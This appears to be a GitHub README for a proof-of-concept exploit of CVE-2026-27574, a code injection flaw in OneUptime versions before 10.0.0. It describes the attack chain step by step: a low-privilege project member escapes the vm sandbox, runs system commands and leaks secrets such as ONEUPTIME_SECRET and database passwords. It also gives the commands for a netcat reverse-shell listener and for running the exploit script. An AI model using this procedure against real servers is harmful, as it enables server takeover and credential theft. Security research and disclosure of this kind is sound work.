mbanyamer/cve-2026-27574-oneuptime-rceProof-of-concept exploit for CVE-2026-27574, a critical code injection in OneUptime enabling remote code execution and environment variable leakage.
Proof-of-Concept exploit for CVE-2026-27574 – a critical code injection vulnerability (CWE-94) in OneUptime < 10.0.0 allowing arbitrary JavaScript execution in the probe context, leading to full remote code execution (RCE) and leakage of sensitive environment variables.
Fixed in: OneUptime 10.0.0 (migration to isolated-vm)
Exploit type: Remote
Authentication: Low-privilege (any registered project member)
Impact: Full server compromise, credential theft, cluster takeover
flowchart TD
A[Start] --> B[Open Registration]
B --> C[Register New Account]
C --> D[Create New Project]
D --> E[Obtain ProjectMember Role]
E --> F[Create Custom JavaScript Monitor]
F --> G[Inject Malicious vm Escape Payload]
G --> H[Probe Executes Code Every ~60s]
H --> I[Escape vm Context via constructor chain]
I --> J[Access process & child_process]
J --> K[Execute System Commands]
J --> L[Leak Environment Variables]
K --> M[Read /etc/passwd, id, hostname, etc.]
L --> N[Extract ONEUPTIME_SECRET, DB/Redis passwords, etc.]
M --> O[Full RCE Achieved]
N --> O
O --> P[Optional: Reverse Shell / Data Exfiltration]
P --> Q[End - System Compromised]
# Start listener (if using reverse shell)
nc -lvnp 4444
# Run the exploit
python3 exploit.py http://target:3002 --lhost YOUR_IP --lport 4444
requests library (pip install requests)This code is provided for educational and authorized security testing purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
Developed by Mohammed Idrees Banyamer • Jordan • @banyamer_security